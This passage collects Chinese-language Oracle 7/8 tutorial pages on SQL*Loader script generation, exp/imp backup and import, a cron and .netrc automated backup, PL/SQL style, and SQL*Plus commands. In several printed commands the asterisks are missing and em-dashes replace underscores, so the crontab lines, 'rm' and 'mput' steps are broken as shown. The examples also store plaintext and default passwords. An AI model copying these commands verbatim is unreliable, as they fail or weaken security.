where table_name = upper('&TableName') )

union

select 1000*column_id ord,column_name || ' ' ||

decode(data_type,

'NUMBER','decimal external',

'VARCHAR2','char',

'CHAR','char',

'DATE','date') || ')'

from user_tab_columns

where table_name=upper('&TableName')

and column_id in ( select max(column_id)

from user_tab_columns

where table_name = upper('&TableName') )

order by ord;

--------------------------------------------------------------------------------------------------------------
--文件3:GetLoaderData.sql
--执行者: ExportTable.sql
--目的: Create script extracting data from table

set pause off

set newpage none

set heading off

set concat ~

set feedback off

set verify off

set linesize 1000

set trimspool on

set trimout on

set termout off

column ord noprint

select 0 ord, 'select',null,null,'rtrim('||column_name ||')'

from user_tab_columns

where table_name = upper('&&TableName')

and column_id=1

union

select column_id ord, '||' , ''';''' , '||' ,'rtrim('||column_name ||')'

from user_tab_columns

where table_name = upper('&TableName')

and column_id > 1

union

select 1000 ord, '||' , ''';''' , null, 'from &TableName order by 1;'

from dual

order by ord;


Oracle技术网—如何单独备份一个或多个表

位置：首页→Exp/Imp→

【点击：】 阿木伯 著
如何单独备份一个或多个表？

  • 命令详解：

D:\>exp 用户/密码 tables=表
D:\>exp 用户/密码 tables=(表1,…,表2)
D:\>exp system/manager tables=(用户.表)
D:\>exp system/manager tables=(用户1.表1,用户2.表2)


Oracle技术网—如何单独备份一个或多个用户

位置：首页→Exp/Imp→

【点击：】 阿木伯 著
如何单独备份一个或多个用户？

  • 命令详解：

D:\>exp scott/tiger file=导出文件
D:\>exp system/manager owner=(用户1,用户2,…,用户n) file=导出文件


Oracle技术网—如何导入指定表

位置：首页→Exp/Imp→

【点击：】 阿木伯 著
如何导入指定表？

  • 命令详解：

D:\>exp scott/tiger file=a.dmp
D:\>imp test/test fromuser=scott tables=emp file=a.dmp
D:\>imp test/test tables=dept file=a.dmp

说明：
如果导出用户没有DBA权限，则导入用户可以不用指定fromuser、touser参数
如果导出用户拥有DBA权限，则导入用户也必须拥有DBA权限


Oracle技术网—如何建立一个与现存数据库相同，但不包含数据的空库

位置：首页→Exp/Imp→

如何建立一个与现存数据库相同，但不包含数据的空库？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      对全库作Export或Import时，使用参数ROWS=N

      例如：

      exp system/manager full=Y rows=N file=full.dmp

      imp system/manager full=Y rows=N file=full.dmp


Oracle技术网—如何在oracle7和oracle8之间exp/imp数据

位置：首页→Exp/Imp→

如何在oracle7和oracle8之间exp/imp数据？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：

      必须先在 oracle8 数据库上以 internal 或 sys 用户运行catexp7.sql

      SVRMGR> connect internal
      SVRMGR> @c:\orant\rdbms80\admin\catexp7.sql
      SVRMGR> exit


Oracle技术网—提高ORACLE数据库系统import性能

提高ORACLE数据库系统import性能
来源：http://www.info365.com.cn/
作者：邱晓理

摘　要　本文主要从系统级别的改变、init.ora参数的改变、import选项的改变三个方面来介绍如何实现提高ORACLE关系数据库系统的import实用工具的性能，对广大ORACLE系统管理员在进行数据库故障恢复时提高效率有较大意义。

    Import和Export是ORACLE数据库系统的两个配套的实用程序，Export把数据库中的数据卸出到操作系统文件中，而Import实用程序则把Export卸出的数据恢复到数据库中。import过程有时要花费几个小时甚至几天时间才能成功地完成。不幸的是，在许多情况下，import需要对数据库进行故障的恢复，这时对时间的要求比较高，因而这种性能是不能胜任的。笔者在从事ORACLE 7系统管理工作两年期间，总结出有几个基本的参数改变可以减少import所需的时间。

一、 系统级别的改变
    1在重建数据库时尽可能增大DB_BLOCK_SIZ参数。块的大小越大，所需I／O循环的次数就越少。这种改变是永久性的，因此在修改它的时候应考虑到各种可能的影响。
    2建立并使用一个大的rollback段，同时将其他rollback段关闭(offline)。一个rollback段大约需要最大的表(table)的50％的大小就足够了。
    3在import完成之前将数据库置于NOARCHIVELOG模式。这将减少创建和管理archive日志的时间。
    4与rollback段一样，创建几个大的重做日志文件(redo log files)，越大越好。关闭一些小的重做日志文件。重做日志文件越大，所需的日志切换的次数就越少。检查警告日志信息如“Thread 1 cannot allocate new log,sequence 17,Checkpoint not complete”，这就意味着日志文件需要扩大或数量需增加。
    5如果可能，尽量将rollback段、表数据和重做日志文件分布在不同的硬盘上。这样可以减少I／O冲突的可能性。

二、 intr.ora参数的改变
    1将LOG_CHECKPOINT_INTERVAL的值置为大于重做日志文件的大小。这个值通常以操作系统的块大小来定义(UNIX系统大多是512字节)。这样可以将检查点checkpoint)减小到最少(仅在日志切换时执行)。
    2增大SORT_AREA_SIZE的值。这种增加取决于机器中其他活动进程的状况以及还有多少可用的空闲内存。我们可以试5－10次来寻找一个最佳值。若机器开始交换(swapping)及页面(paging)切换，说明值设置得太大。

三、 import选项改变
    1置COMMIT=N。这将导致import在每个对象(如table)结束之后提交(commit)，而非缓冲区满提交。这就是我们为什么需要一个大的rollback段。
    2采用一个大的BUFFER值。这个值要视系统活动状况、数据库大小等情况而定。通常几兆字节就够了，但是若有足够的内存这个值还可更大些。同样，我们可以查看页面和交换的情况来确定这个值是否太大。这将减少import进程到文件中读取数据的次数(每次它将读取一个buffer大小的数据)。
    3置INDEXES=N。这将加快导入无索引表的速度。采用INDEXFILE选项，在数据导入完成后建立索引。建立索引时SORT_AREA
_SIZE值要足够大。

作者单位：中国银行福建省分行(福州350005)


Oracle技术网—为何我的导出文件只有500K,导入时却占用了700M的空间

位置：首页→Exp/Imp→

阿木伯 著
为何我的导出文件只有500K,导入时却占用了700M的空间？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 解释原因：
      1、一般情况下，用export导出来的dmp文件中，包含表的storage信息，

         如果导出的是一个很大的表，比如有1000万条记录，则此表的storage默认初始大小已达到上百兆，

         这样如果你使用rows=n选项，即使导出来的dmp文件大小只有不到一兆，

         导入时，系统会按storage默认初始大小来分配表空间，所以一下就占用了很多的空间，

         如果剩余表空间不够，并且没有设置成自动扩展（数据文件），还会发生导入错误。


Oracle技术网—自动备份Oracle数据库

位置：首页→Exp/Imp→

自动备份Oracle数据库

摘自：赛迪网

（作者：靳云旭　2000年04月13日 15:16）

    相信为数不少的系统管理员每天都在做着同一样的工作——对数据进行备份。一旦哪一天疏忽了，而这一天系统又恰恰发生了故障，需要进行数据恢复，那么此时就无能为力了。假如每天设定一个固定的时间，系统自动进行备份，那该多好啊！下面笔者结合实践经验，谈一谈UNIX环境下Oracle数据库的自动备份，以起到抛砖引玉的作用。

    我们计划让数据库在晚上23点做export导出备份，在凌晨2点将备份文件拷贝到磁带上，在凌晨4点将备份文件拷贝到另一台UNIX机器上，为此我们可进行如下操作：

    一、导出数据库

    export命令将数据库中的数据备份成一个二进制文件，它通常有三种模式：用户模式、表模式和整个数据库模式。本文拟采用用户模式，备份之前，应先建立一个备份目录，以容纳备份文件，比如可建一个/backup目录。接着我们可在UNIX的Oracle目录下（也可以是其它目录）分别建立两个文件ora—backup，tar—backup。需要说明的是，前一个文件需要对Oracle的参数进行初始化，为了方便起见，我们不妨将初始化命令放到一个文件中（文件名姑且定为ora—env），再由第一个文件调用它。

    1. ora—env文件对Oracle的参数进行初始化，其内容如下：

    ORACLE—HOME=＄ORACLE—HOME;export ORACLE—HOME

    ORACLE—SID=ora73;export ORACLE—SID

    ORACLE—TERM=sun;export ORACLE—TERM

    LD—LIBRARY—PATH=＄ORACLE—HOME/lib;export LD—LIBRARY—PATH

    ORA—NLS32=＄ORACLE—HOME/ocommon/nls/admin/data;export ORA—NLS

    PATH=.:/usr/ccs/bin:/usr/ucb:＄ORACLE—HOME/bin:＄PATH;export PATH

    DISPLAY=host1:0;export DISPLAY

    NLS—LANG=american—america.zhs16cgb231280;export NLS—LANG

    2. ora—backup文件对数据库做export导出，导出的文件名可以任意定，本文定为字母“xx”加当天日期，即假如当天日期是12月10号，则导出的文件名为“xx1210.dmp”，以区别于其它日期的备份文件。

    ora—backup文件内容：

    ./oracle/ora—env

    ＃初始化Oracle数据库

    rq=′date ＋″％m％d″ ′

    ＃把当天日期赋予变量rq

    rm /backup/

    ＃ 清空 /backup目录

    exp test/test file=/backup/xx＄rq.dmp log=/backup/xx＄rq.log

    本命令用于在＄提示符下，导出test用户的数据（其口令亦为test），导出文件及日志均放在/backup目录下。

    二、磁带备份

    tar—backup文件将用export命令导出的数据文件拷贝到磁带上。

    tar—backup文件内容：

    tar rvf /dev/rmt/0n/backup/

    本命令可将/backup目录下当天产生的文件备份到磁带上。本文件中，tar命令使用了三个参数，其中r选项表示向磁带上拷入文件而不破坏磁带原来内容，v选项表示在拷贝过程中显示文件信息，f选项后面加上磁带设备名，指定文件向何处拷贝，n选项表示磁带机不倒带。/dev/rmt/0表示UNIX主机第一个磁带驱动器，同理，/dev/rmt/1则表示UNIX主机第二个磁带驱动器，依此类推。

    ora—env、ora—backup、tar—backup文件编写完成后，分别使用下述命令：

    chmod 755 ora—env

    chmod 755 ora—backup

    chmod 755 tar—backup

    这样，三个文件就都变成了可执行文件。

    三、异地备份

    我们知道，通常可用FTP命令在两台主机间传输数据，但一般是通过交互方式实现的，即需要手工输入目标主机的IP地址、用户名、口令等。显然，这不符合自动备份的要求。所幸的是，我们可以通过编写一个.netrc的文件来达到目标。这一文件必须命名为.netrc，且必须存放在启动FTP命令的机器上的用户注册目录中，该文件的权限应禁止组内或其它用户进行读访问。这样，当用户使用FTP命令的时候，系统将会在该用户的注册目录中寻找.netrc文件，如果能够寻找到，将会首先执行该文件，否则，会交互式地提示用户输入用户名、口令等。

    在使用FTP命令之前，应先在另一台作备份用的UNIX机器上建一目录，以容纳备份文件，本文建的目录是/pub 。需要指出的是，为了加快备份速度，两台主机之间的传输速率应尽可能的高，最好位于同一局域网上。

    .netrc文件内容如下：

    machine host2

    ＃ host2为作备份用的主机名

    login oracle

    ＃oracle为备份主机上的一个用户

    password oracle

    ＃oracle用户的口令为oracle

    macdef init

    ＃定义一个名为init的宏，它将在自动注册进程的最后被执行

    bin

    ＃文件的传输方式设为二进制

    lcd /backup

    ＃ 进入本地工作目录/backup

    cd /pub

    ＃ 进入备份主机目录/pub

    mput 

    ＃ 将/backup目录下的所有文件传输至备份主机

    bye

    ＃退出FTP会话进程

    .netrc文件编写完成后，使用下述命令：

    chmod 600 .netrc

    这样，.netrc文件就只能被该用户所访问。

    四、启动备份进程

    Cron是一个永久进程，它由/etc/rc.local启动执行。Cron检查/var/spool/cron/crontabs/目录中的文件，找到所要执行的任务和执行任务的时间。

    Crontab文件的每一行由六个域(minutes、hours、day of month、month、day of week、 command)组成，域之间用空格或Tab分开，其中：

     minutes：分钟域，值的范围是0到59

     hours：小时域，值的范围是0到23

     day of month：日期，值的范围是1到31

     month：月份，值的范围是1到12

     day of week：星期，值的范围是0到6，星期日值为0

     command：所要运行的命令

    如果一个域是，表明命令可以在该域所有可能的取值范围内执行。

    如果一个域是由连字符隔开的两个数字，表明命令可以在两个数字之间的范围内执行（包括两个数字本身）。

    如果一个域是由逗号隔开的一系列值组成的，表明命令可以在这些值组成的范围内执行。

    如果日期域和星期域都有值，则这两个域都有效。

    现在，我们编写一个文件，用以启动自动备份进程。值得注意的是，该文件只能在Oracle用户名下用crontab －e 命令来编辑，否则将不会被定时执行，文件名定为Oracle，文件将放在/var/spool/cron/crontabs 目录下。编辑完成后，可以在Oracle的＄提示符下，用crontab －l命令来查看。

    Oracle文件内容：

    0 23    /oracle/ora—backup

    ＃ 每天23点对数据库执行备份

    0 2    /oracle/tar—backup

    ＃ 每天2点将文件备份到磁带上

    0 4    ftp －i host2

    ＃ 每天4点将文件备份到另一台主机上

    经过以上的操作后，系统每天晚上将自动产生一个备份，并且自动将备份文件分别拷贝到磁带上和另一台主机上。系统管理员需要做的是，隔几天换一盘磁带（更换磁带的周期取决于备份文件的大小和磁带的容量）和清理备份目录。这样，他们就可以从备份数据的繁琐中解脱出来，去做其它更有意义的工作。而数据库既实现了磁带备份，又实现了异地备份，相应的安全性也大大提高了。


Oracle技术网—作Export或Import时，如何记录LOG信息？

位置：首页→Exp/Imp→

阿木伯 著
作Export或Import时，如何记录LOG信息？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      imp80 username/password@alias file=impfile.dmp log=mylog.log

      exp80 username/password@alias file=expfile.dmp log=mylog.log

      运行后,mylog.log里记录着所有的LOG信息


Oracle技术网—LONG数据类型使用上的一些说明

位置：首页→SQL技巧→

【点击：】 阿木伯 著
LONG数据类型使用上的一些说明

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 使用说明：
      1、LONG 数据类型中存储的是可变长字符串，最大长度限制是2GB。

      2、对于超出一定长度的文本，基本只能用LONG类型来存储，数据字典中很多对象的定义就是用LONG来存储的。

      3、LONG类型主要用于不需要作字符串搜索的长串数据，如果要进行字符搜索就要用varchar2类型。

      4、很多工具，包括SQL*Plus，处理LONG 数据类型都是很困难的。

      5、LONG 数据类型的使用中，要受限于磁盘的大小。
  • 能够操作 LONG 的 SQL 语句：
      1、Select语句

      2、Update语句中的SET语句

      3、Insert语句中的VALUES语句
  • 限制：

1、一个表中只能包含一个 LONG 类型的列。

2、不能索引LONG类型列。

3、不能将含有LONG类型列的表作聚簇。

4、不能在SQL*Plus中将LONG类型列的数值插入到另一个表格中,如insert into ...select。

5、不能在SQL*Plus中通过查询其他表的方式来创建LONG类型列,如create table as select。

6、不能对LONG类型列加约束条件（NULL、NOT NULL、DEFAULT除外），如：关键字列(PRIMARY KEY)不能是 LONG 数据类型。

7、LONG类型列不能用在Select的以下子句中：where、group by、order by，以及带有distinct的select语句中。

8、LONG类型列不能用于分布查询。

9、PL/SQL过程块的变量不能定义为LONG类型。

10、LONG类型列不能被SQL函数所改变，如：substr、instr。
  • SQL*Plus 中操作 LONG类型列：
      1、set long n

      2、col 列名 format An

      n代表n位字符（n为大于零的整数），An表示将此列的数据显示宽度限制为不超过n位。


Oracle技术网—Oracle8 PL/SQL编程风格与系统性能的提高

Oracle8 PL/SQL编程风格与系统性能的提高
来源：http://www.info365.com.cn/
作者：杨延广　曹素丽

    摘　要：介绍了Oracle 8 PL/SQL程序设计中，提高系统性能的编程风格的几种方法，和存储过程及触发器的使用、错误处理等。
    关键词：Oracle；SQL；存储过程；触发器；错误处理
    中图分类号：TP311.11　　文献标识码：B
文章编号：1001-9081(2000)02-0073-02

    Oracle是C/S（Client/Server）结构的大型数据库，主要语言是4GLSQL语言，具有功能强大而简单易学的优点。C/S结构的工作过程是：当客户端（C端）输入并发送一条SQL语句后，便通过网络送到服务器端（S端），在那里被分析执行然后再将结果通过网络返回到客户端，此时客户端可以再发下一条SQL语句。可见，客户端是一条语句一条语句的发送，服务器端是一条一条的分析执行，结果再一次次的返回。但是，这样单个的SQL语句引起了频繁的网络通信，大大降低了系统性能。PL/SQL是扩展SQL后的语言，PL/SQL块作为一个单位发送，使用了较少的网络通信，而且在运行中能根据条件，决定执行或重复执行什么语句，既保留了SQL的强大性，又弥补了不足。

1　提高程序的运行速度

1.1　使用存储过程
    存储过程是Oracle数据库的一种对象，是一种带名的PL/SQL过程程序块，它在创建后，被数据库服务器进行语法和句法分析，以编译了的形式存储在数据库中，可以被有权用户在任何需要的地方调用。当客户端应用程序调用时，只需发送一条调用命令，数据库服务器就会执行该过程。与一般的PL/SQL块主要的不同是：无需在网上传送大量的源程序代码，只传送一条调用命令，这就大大降低了网络通信的负担；而且只在刚创建时分析编译一次，每次调用直接执行编译了的代码，因此运行速度较快。
    在实际开发时，对于具有共同特性的功能模块最好使用存储过程，调用时通过使用不同的实际参数值来实现某一具体的处理。如果能充分利用存储过程来完成应用系统的操作与处理，则可大大提高系统的运行性能。
1.2　编写可重用共享池中已有语句的SQL语句
    共享内存缓冲区和后台进程合称为一个Oracle实例。当启动一个Oracle实例时，会有许多的Oracle后台进程被启动，每个进程都负责运行数据库的不同方面的处理，各进程通过共享内存彼此之间进行通信，该块内存就是系统全局区SGA。SGA被分隔为不同的区域，其中一个称作共享池（Shared Pool）的区域中包含了发送给数据库的SQL语句的正文和PL/SQL块，以及它们经过分析后的表示形式与执行方案，其中执行方案是数据库实际处理该语句的方法，例如，需要访问哪些表和索引、是否需要执行排序操作等等。
    因为要执行一条SQL 语句，数据库就必须确定其执行方案。当数据库从客户应用程序接收到一条SQL语句时，它首先检查是否该语句在共享池中。若在，那么不重新对其分析而是重复使用已经在共享池中的形式及执行方案；若不在，则对该语句进行分析，得到新的分析形式与执行方案并进行存储，覆盖共享池中以前的内容。
    由此可以看出，编写可重用共享池中语句的SQL语句就显得十分必要，因为避免不必要的重新分析，会很大程度上减小服务器所承担的工作量。要想重复使用共享池中的语句，就应该编写与其格式一致的语句，包括字母的大小写、标点符号、换行的位置等都要一致。下面推荐一种有效实用的方法。
1.2.1　SQL语句各部分的格式
    一条语句可以一行也可以分多行书写，但最好换行书写，每一子句一行，且每行的第一个关键字与第一行的关键字的尾部对齐，这样做以确保每次使用同一条语句时分行的位置一致，而不要让语句在第80列偶然溢出到下一行，例如下面的格式中字母T、M、E、D、P是对齐的，一子句占了一行：
    SELECT col1,col2
    FROM table—name1
    WHERE col1 > col2
    AND col2 > col3
    GROUP BY col1;
    当刚执行过上述语句后，若又接收到下面的语句：
    SELECT col1,col2
    FROM table—name2
    WHERE col1 > col2
    AND col2 > col3
    GROUP BY col2;
    则通过检查认为与共享池中的语句一致，可重复使用共享池中的执行方案，不必重新分析。
    而下面的的语句被认为是不同的，因为分行的位置不同，需要重新进行分析。
    SELECT col1,col2 FROM table—name2
    WHERE col1 > col2
    AND col2 > col3
    GROUP BY col1 ;
1.2.2　字母大小写采用一致约定
    关键字、保留字大写，用户声明的标识符小写。请看下面的两条语句：
    SELECT xm
    FROM student；
    与
    select xm
    FROM student；
    比较的结果是这两句不匹配或者说不等价，因为第一句中的SELECT是大写的，而第二句的是小写的。
1.2.3　其它，如运算符两侧各留一个空格等
    总之，设计自己的编写约定并遵守这些约定，使要处理的语句与共享池中的相一致，有助于运行性能的提高。

2　提高可维护性

2.1　编写触发器
    对表中数据进行修改、删除或插入是非常常见的操作。当表被修改时，应该自动给其他需要执行操作的程序发信号。触发器可以完成这一功能。在Oracle8中，触发器是一段程序，但是这段程序是当发生INSERT、UPDATE或DELETE操作时被自动执行的，与过程的调用（是通过调用语句调用执行）不同，因此当某事件的发生引起连环更新或其他的相应操作时，通过自动执行触发器代码实现而不用人工干预，大大减轻了维护工作，同时也很好的保证了数据的一致性。
    触发器的优点是自动激发，不管什么引起数据修改（来自程序的或是来自用户的），它们都工作，所以常常用于不同数据表中的相关数据的串接修改。采用这种方法实现数据表间接的数据关联可由数据库集中维护控制，规则变化时只需修改相应的触发器即可，这样系统易于维护，提高了工作效率。
2.2　使用%TYPE、%ROWTYPE方式声明变量
    程序设计中常常要通过变量来实现程序间的数据传递，即将表中数据赋值给变量，或是把变量值插入到表中。而要完成这些操作的前提就是，表中数据与变量类型要一致。然而在实际中，表中数据或类型、或宽度有时要变化，一旦变化，就必须去修改程序中的变量声明部分，否则程序将不能正常运行。为了减少这部分程序的修改，编程时使用%TYPE、%ROWTYPE方式声明变量，使变量声明的类型与表中的保持同步，随表的变化而变化，这样的程序在一定程度上具有更强的通用性。

3　提高程序自检能力

    一个好的应用系统不仅要有好的用户界面、齐全的功能处理模块，而且要有很强的错误处理能力。因此要求编程人员要预测可能的各种情况（声明异常情态并引发），并尽可能从错误中恢复过来（编写相应异常情态处理器代码），这就是Oracle8中的异常部分的程序设计内容。然而这部分的设计绝非易事。在异常部分的最后设置OTHERS异常情态处理器是个很好的编程习惯，因为它为运行时刻捕捉到的其它错误指明了处理去向，从而保证了程序的正常运行。格式如下：
    BEGIN
    …
    EXCEPTION
      WHEN excep—name1 THEN
      …
      WHEN excep—name2 THEN
      …
      WHEN OTHERS THEN
      …
    END;
    但是对程序中出现的错误要做到正确的处理（即正确选择异常处理器并执行它），还必须弄清楚异常情态的传播问题。
    异常情态的传播指的是当在程序块的声明、执行、异常部分分别出现异常情态时，或在本块中没有相应的异常处理器时会将这个异常情态传播到哪里，会去激发那个块中的处理器。传播规则是这样的：
    当一个异常情态是在块的执行部分引发的（最常见的），PL/SQL使用下面的规则确定激活哪个异常处理器。（1）若当前块对该异常情态设置了处理器，则执行它并成功完成该块的执行，然后控制转给包含块。（2）若当前块没有该处理器，则通过在包含块中引发它来传播异常情态。然后对包含块执行步骤1。另外，无论是在声明部分引发了一个异常情态，还是在异常处理部分引发，则该异常情态将立即传播给包含块。在包含块引用上述规则进行异常情态的处理，即使在当前块设置了OTHERS处理器也不会被执行。

4　易于阅读

    .对于子程序、触发器、包等带名的程序块，使用结束标识。例如：
    CREATE OR REPLACE PROCEDURE addstud IS
    …
    BEGIN
    …
    END addstud;　　　/* 此处的过程名add是可选的，写上较好，与块开始的CREATE相对应 */
    .采用统一的标识符命名规则。对于诸如变量名、子程序名、触发器名等数据库对象命名时，应尽量能表示其功能用途或含义。
    .对于过程性语句与程序块采用缩进书写风格，会使得程序结构清晰、层次分明、易阅读。
    .采用统一的字母大小写。尽管PL/SQL程序中不区分大小写，但是采用统一的字母大小写（如前文叙述的大小写约定）将在很大程度上提高程序的可阅读性。
    .加注释。
    .一条语句分多行书写，不让其自动分行。
    这方面的内容大家都已很熟悉，不再详述了。
    总之，良好的程序设计风格，可以在多个方面提高系统的性能，提高开发效率，很值得我们在工作中给以重视。

作者简介：杨延广　(1965-)，男，讲师，主要研究方向：计算机应用；
          曹素丽　女，工程师，主要研究方向：计算机应用。
作者单位：杨延广（石家庄邮政高等专科学校　河北.石家庄050011）
          曹素丽（石家庄邮政高等专科学校　河北.石家庄050011）


Oracle技术网—Oracle8中用户名、表名、列名、索引名...可以用中文命名吗

位置：首页→SQL技巧→

阿木伯 著
Oracle8中用户名、表名、列名、索引名...可以用中文命名吗？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 解释说明：
      可以，例如：

      SQL> create user 用户1 identified by 密码;

      SQL> grant connect,resource to 用户1;

      SQL> connect 用户1/密码

      SQL> create table 表1(列1 number,列2 date);

      SQL> create index 索引1 on 表1(列1);

      SQL> drop index 索引1;

      SQL> drop table 表1;


Oracle技术网—Oracle中如何实现某一字段自动增加1

位置：首页→SQL技巧→

阿木伯 著
Oracle中如何实现某一字段自动增加1？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      建立一个最小为1,最大为999999999的一个序列号会自动循环的序列

      create sequence 序列名
      increment by 1
      start with 1
      maxvalue 999999999
      cycle;

      当向表中插入数据时，SQL语句写法如下：

      SQL> insert into 表名 values(序列名.nextval,列1值,列2值);


Oracle技术网—SQL(Structured Query Language)语句分哪几类

位置：首页→SQL技巧→

【点击：】 阿木伯 著
SQL(Structured Query Language)语句分哪几类？

  • 系统环境：
      1、数据库：　Oracle 8i R3 (8.1.7) for NT 企业版
  • 说明：

DDL、数据定义语言：create、alter、drop、truncate（创建、修改结构、删除、截断）（其他：rename）

DML、数据操纵语言：insert、delete、select、update（增、删、查、改）

DCL、数据控制语言：grant、revoke（授权、回收）、set role

事务控制：commit、rollback、savepoint（其他：lock table、set constraint(s)、set transaction）

审计控制：audit、noaudit

系统控制：alter system

会话控制：alter session

其他语句：comment（添加注释）、explain plan、analyze（收集统计）、validate、call


Oracle技术网—SQL*PLUS常用命令列表

位置：首页→SQL技巧→

【点击：】 阿木伯 著
SQL*PLUS常用命令列表

  • 软件环境：
      1、Windows 98 第二版
      2、Oracle数据库版本为：Personal Oracle7 Release 7.3.4.0.0
      3、Oracle安装路径为：C:\ORAWIN95
  • 命令列表：
    假设当前执行命令为：select * from tab;

(a)ppend　　　　 添加文本到缓冲区当前行尾　　　　a  order by tname　结果：select * from tab order by tname;
                                                                            （注：a后面跟2个空格）
(c)hange/old/new 在当前行用新的文本替换旧的文本　c/*/tname　　　　　结果：select tname from tab;
(c)hange/text　　从当前行删除文本　　　　　　　　c/tab　　　　　　　结果：select tname from ;
del　　　　　　　删除当前行
del n　　　　　　删除第n行
(i)nput 文本　　 在当前行之后添加一行
(l)ist　　　　　 显示缓冲区中所有行
(l)ist n　　　　 显示缓冲区中第 n 行
(l)ist m n　　　 显示缓冲区中 m 到 n 行
run　　　　　　　执行当前缓冲区的命令
/　　　　　　　　执行当前缓冲区的命令
r　　　　　　　　执行当前缓冲区的命令
@文件名　　　　　运行调入内存的sql文件，如：

SQL> edit s<回车>
如果当前目录下不存在s.sql文件，则系统自动生成s.sql文件，
在其中输入“select * from tab;”，存盘退出。

SQL> @s<回车>
系统会自动查询当前用户下的所有表、视图、同义词。

@@文件名　　　　 在.sql文件中调用令一个.sql文件时使用

save 文件名　　　将缓冲区的命令以文件方式存盘，缺省文件扩展名为.sql
get 文件名　　　 调入存盘的sql文件
start 文件名　　 运行调入内存的sql文件

spool 文件名　　 把这之后的各种操作及执行结果“假脱机”即存盘到磁盘文件上，默认文件扩展名为.lst
spool　　　　　　显示当前的“假脱机”状态
spool off　　　　停止输出

例：
SQL> spool a
SQL> spool
正假脱机到 A.LST
SQL> spool off
SQL> spool
当前无假脱机

exit　　　　　　 退出SQL*PLUS
desc 表名　　　　显示表的结构
show user　　　　显示当前连接用户
show error　　　 显示错误
show all　　　　 显示所有68个系统变量值
edit　　　　　　 打开默认编辑器，Windows系统中默认是notepad.exe，把缓冲区中最后一条SQL语句调入afiedt.buf文件中进行编辑
edit 文件名　　　把当前目录中指定的.sql文件调入编辑器进行编辑

clear screen　　 清空当前屏幕显示


Oracle技术网—SQL*Plus系统环境变量有哪些？如何修改？

位置：首页→SQL技巧→

阿木伯 著
SQL*Plus系统环境变量有哪些？如何修改？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
           show和set命令是两条用于维护SQL*Plus系统变量的命令

       SQL> show all				--查看所有68个系统变量值

       SQL> show user				--显示当前连接用户

       SQL> show error　　　　　　　　　　　　　　　 --显示错误

       SQL> set heading off			--禁止输出列标题，默认值为ON

       SQL> set feedback off			--禁止显示最后一行的计数反馈信息，默认值为"对6个或更多的记录，回送ON"

       SQL> set timing on			--默认为OFF，设置查询耗时，可用来估计SQL语句的执行时间，测试性能

       SQL> set sqlprompt "SQL> "		--设置默认提示符，默认值就是"SQL> "

       SQL> set linesize 1000			--设置屏幕显示行宽，默认100

       SQL> set autocommit ON			--设置是否自动提交，默认为OFF

       SQL> set pause on			--默认为OFF，设置暂停，会使屏幕显示停止，等待按下ENTER键，再显示下一页

       SQL> set arraysize 1			--默认为15

       SQL> set long 1000			--默认为80

       说明：
       long值默认为80，设置1000是为了显示更多的内容，因为很多数据字典视图中用到了long数据类型，如：

SQL> desc user_views
 列名                          可空值否   类型
 ------------------------------- -------- ----
 VIEW_NAME                       NOT NULL VARCHAR2(30)
 TEXT_LENGTH                              NUMBER
 TEXT                                     LONG

SQL> define a = '''20000101 12:01:01'''         --定义局部变量，如果想用一个类似在各种显示中所包括的回车那样的常量，
                                                --可以用define命令来设置
SQL> select &a from dual;
原值    1: select &a from dual
新值    1: select '20000101 12:01:01' from dual

'2000010112:01:01
-----------------
20000101 12:01:01


Oracle技术网—SQL*Plus中缓冲区命令列表

位置：首页→SQL技巧→

【点击：】 阿木伯 著
SQL*Plus中缓冲区命令列表

  • 系统环境：
      1、数据库：　Oracle 8i R3 (8.1.7) for NT 企业版
  • 说明：

      命令

      缩写

      作用

      append 文本

      A 文本

      添加文本到当前行尾

      change/旧文本/新文本

      C/旧文本/新文本

      在当前行用新的文本替换旧的文本

      change/文本

      C/文本

      从当前行删除文本

      del

      删除当前行

      del n

      删除第n行

      del n m

      删除第n到m行

      del n *

      删除第n到当前行

      del n last

      删除第n行到最后一行

      del *

      删除当前行

      Del * n

      删除当前行到第n行

      Del * last

      删除当前行到最后一行

      Del last

      删除最后一行

      input

      I

      在当前行之后添加多行，input会提示输入每一行

      input 文本

      i 文本

      在当前行之后添加一行

      List

      L

      显示缓冲区中所有行

      List n

      L n

      显示缓冲区中第n行

      List n m

      L n m

      显示缓冲区中第n到第m行

      List n *

      L n *

      显示缓冲区中第n行到当前行

      List n last

      L n last

      显示缓冲区中第n行到最后一行

      List *

      L *

      显示缓冲区中当前行

      List * n

      L * n

      显示缓冲区中当前行到第n行

      List * last

      L * last

      显示缓冲区中当前行到最后一行

      List last

      L last

      显示缓冲区中最后一行

      Run

      R

      显示并执行当前缓冲区的命令，并使缓冲区的最后一行成为当前行

      /

      执行当前缓冲区的命令，不显示缓冲区命令

      行号

      设置缓冲区的某一行为当前行


Oracle技术网—SQL*Plus中能运行哪几种命令

位置：首页→SQL技巧→

SQL*Plus中能运行哪几种命令？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 命令类型：
      1. SQL*Plus命令 　 　 　 　 　一般用来格式化查询输出、设置环境、编辑存储SQL命令和PL/SQL块
         SQL> show user
         SQL> select user from dual;

      2. SQL命令
         SQL> select * from tab;

      3. PL/SQL块
         SQL> BEGIN
                  DBMS_OUTPUT.PUT_LINE('Hello World!');
              END;


Oracle技术网—SQLPlus中的复制和粘贴技巧

位置：首页→SQL技巧→

【点击：】 阿木伯 著
SQLPlus中的复制和粘贴技巧

  • 系统环境：
      1、数据库：　Oracle 8i R3 (8.1.7) for NT 企业版
  • 说明：

方法一：

1、   将鼠标移至想要复制内容的开始

2、   用右手按下鼠标左键

